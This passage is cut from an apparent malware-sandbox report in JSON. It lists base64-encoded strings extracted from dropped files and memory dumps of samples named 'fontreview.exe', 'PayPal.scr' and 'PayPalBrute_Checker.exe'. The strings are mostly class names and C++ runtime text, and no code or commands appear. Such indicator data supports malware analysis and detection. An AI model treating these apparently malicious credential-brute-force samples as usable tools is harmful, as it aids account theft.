File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RhZ1Byb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RhZ1JlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RhZ1JlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RhZ1JlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RhZ1NjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RhZ1NlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RhZ1NwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rhc2tBZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rhc2tEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rhc2tGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rhc2tHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rhc2tJc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rhc2tJdGVyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rhc2tQYXJhbWV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rhc2tQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rhc2tUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RlbXBsYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RlbXBsYXRlQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RlbXBsYXRlUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RlbXBsYXRlUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RlbXBsYXRlU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RlbXBsYXRlVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RlbXBsYXRlVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rlc3RzRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rlc3RzR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rlc3RzUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rlc3RzUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rlc3RzUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rlc3RzUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rlc3RzU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rlc3RzV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RocmVhZEFsZ28=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RocmVhZERlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RocmVhZFBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RocmVhZFJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RocmVhZFJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RocmVhZFNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RocmVhZFNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RocmVhZFRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RocmVhZFRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rva2VuQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rva2VuRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rva2VuSXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rva2VuaXplckVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rva2VuaXplcklzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rva2VuaXplck1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rva2VuaXplclNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rva2VuaXplclRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rva2VuaXplcldvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rva2VuUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rva2VuUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rva2VuUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rva2VuU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rva2VuVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rva2VuV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1V0aWxzRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1V0aWxzTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1V0aWxzTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1V0aWxzUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1V0aWxzUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1V0aWxzUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1V0aWxzU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1V0aWxzU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1V0aWxzVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ZhbENsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ZhbFByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ZhbFJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ZhbHVlQWxnbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ZhbHVlQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ZhbHVlQ29uZmln","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ZhbHVlRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ZhbHVlSXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ZhbHVlSXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ZhbHVlTWVyY2hhbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ZhbHVlUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ZhbHVlUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ZhbHVlU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Zpc2l0b3JHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Zpc2l0b3JQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Zpc2l0b3JSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Zpc2l0b3JXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X3ZzbndwcmludGY=","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X1dhdGNoZXJHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dhdGNoZXJQYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dhdGNoZXJSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dhdGNoZXJUYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dhdGNoZXJUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X3djc25pY21w","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X1dvcmtlckFsZ28=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dvcmtlckNvbmZpZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dvcmtlckRlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dvcmtlckl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dvcmtlck1lcmNoYW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dvcmtlclBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dvcmtlclByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dvcmtlclNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dvcmtlclRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dvcmtlclRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyYXBwZXJGYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyYXBwZXJGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyYXBwZXJHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyYXBwZXJNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyYXBwZXJNYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyYXBwZXJQYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyYXBwZXJQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyYXBwZXJSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyYXBwZXJSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyYXBwZXJTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyYXBwZXJTdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyaXRlckVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyaXRlck1hcA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyaXRlck1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyaXRlclBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyaXRlclJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyaXRlclJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyaXRlclNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyaXRlclRhZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1hjcHRGaWx0ZXI=","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YCVbVl8+PWto","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"YC5EWkh+Nmhz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ZTQ3ZjRmNDMtZDg2My0xMWU3LTlkOGYtODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ZTQ3ZjRmNDQtZDg2My0xMWU3LTlkOGYtODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ZTQ3ZjRmNDctZDg2My0xMWU3LTlkOGYtODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YFxheW1XQj0j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"YGFjbnRUeXBlcw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YGNvcHkgY29uc3RydWN0b3IgY2xvc3VyZSc=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YGRlZmF1bHQgY29uc3RydWN0b3IgY2xvc3VyZSc=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YGR5bmFtaWMgYXRleGl0IGRlc3RydWN0b3IgZm9yICc=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICc=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YGVoIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcic=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YGVoIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YGVoIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YGVoIHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcic=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YGVoIHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YGxvY2FsIHN0YXRpYyBndWFyZCc=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YGxvY2FsIHN0YXRpYyB0aHJlYWQgZ3VhcmQn","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YGxvY2FsIHZmdGFibGUgY29uc3RydWN0b3IgY2xvc3VyZSc=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YGxvY2FsIHZmdGFibGUn","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YG1hbmFnZWQgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YG1hbmFnZWQgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3In","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3In","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YG9tbmkgY2FsbHNpZyc=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YHBsYWNlbWVudCBkZWxldGUgY2xvc3VyZSc=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YHBsYWNlbWVudCBkZWxldGVbXSBjbG9zdXJlJw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YFInS0o0P2Uq","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"YHJIbiQwY003","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"YHNjYWxhciBkZWxldGluZyBkZXN0cnVjdG9yJw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YHN0cmluZyc=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YHR5cGVvZic=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YHVkdCByZXR1cm5pbmcn","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YHZiYXNlIGRlc3RydWN0b3In","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YHZidGFibGUn","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcic=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YHZlY3RvciBkZWxldGluZyBkZXN0cnVjdG9yJw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcic=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YHZmdGFibGUn","type":"Ansi","source":"Memory/File 